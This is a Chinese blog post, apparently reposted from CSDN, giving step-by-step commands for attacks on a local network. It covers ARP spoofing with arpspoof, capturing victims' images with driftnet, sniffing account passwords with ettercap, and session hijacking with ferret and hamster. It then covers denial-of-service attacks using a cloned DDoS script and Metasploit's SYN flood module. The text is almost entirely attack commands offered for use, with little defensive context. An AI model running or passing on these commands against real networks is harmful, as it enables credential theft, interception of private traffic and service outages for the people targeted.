局域网攻击

不念不忘少年蓝@ 2022-12-10 14:46 159阅读 0赞

# arp攻击 #

`必要内容`

安装arpspoof文件
    apt-get install dsniff

1.检查以及获取网段  
即查看局域网存活主机

fping -asg 192.168.1.1/24 
    或者-->nmap -sP ip
    扫描常用的端口-->nmap -F -sT -v nmap.org

注意点：  
①攻击者的IP和被攻击者的IP需要在同一个网段中（即需要两个ip段可以连接ping通）  
②默认的网卡必须是eth0  
–>如  
![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzMzOTQyMDQw_size_16_color_FFFFFF_t_70_pic_center]  
2.攻击方法

echo 1 >/proc/sys/net/ipv4/ip_forward
    #即开启端口转发功能
    arpspoof -i eth0 -t  192.168.1.1  192.168.1.104
    #即 前面的IP是靶机的IP,后面的IP是攻击者的ip 即将该ip欺骗到其他上面的状况特点-->断网攻击
    #arpspoof -i 网卡 -t 网关 目标IP
    driftnet -i eth0 
    #窃取受害者的图片
    ettercap -Tq -i eth0
    #ettercap -i 网卡 -Tq -M
    #进行账号密码嗅探-->即抓取账号密码状况特点
    tcpdump -i eth0 -w qq.cap
    ferret -t qq.cap (64位下需要安装)
    hamster
    http://hamster
    #session劫持

即arpspoo攻击成功后进行嗅探密码的状况特点  
![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzMzOTQyMDQw_size_16_color_FFFFFF_t_70_pic_center 1]

# DOS/DDOS攻击 #

## 方法1 ##

①安装ddos攻击模块

git clone https://github.com/Ha3MrX/DDos-Attack

②进入DDos-Attack且运行文件

cd DDos-Attack
    ls
    python  ddos-attack.py

![在这里插入图片描述][20200927090413666.png_pic_center]  
③输入目标的ip以及端口即可以进行攻击  
![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzMzOTQyMDQw_size_16_color_FFFFFF_t_70_pic_center 2]

## 方法2 ##

利用Metasploit模块进行实现

#进入msf模块中
    msfconsole
    #进入潮汐攻击目录
    use auxiliary/dos/tcp/synflood
    set rhost 目标服务器
    #执行
    exploit

如 把自己的服务器拿来做测试做的一个小的攻击  
![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzMzOTQyMDQw_size_16_color_FFFFFF_t_70_pic_center 3]

[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzMzOTQyMDQw_size_16_color_FFFFFF_t_70_pic_center]: /images/20221123/d50f6aa7453a46958070b0724c859d04.png
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzMzOTQyMDQw_size_16_color_FFFFFF_t_70_pic_center 1]: /images/20221123/3d71e4545cf24451bcb8dbab12f839f8.png
[20200927090413666.png_pic_center]: /images/20221123/141051da54004365b90652c71bee6753.png
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzMzOTQyMDQw_size_16_color_FFFFFF_t_70_pic_center 2]: /images/20221123/e2cf5a5843224a73869ec5a16e6a6e37.png
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzMzOTQyMDQw_size_16_color_FFFFFF_t_70_pic_center 3]: /images/20221123/a7e7a1aeab904e74839ddcabbfb205e9.png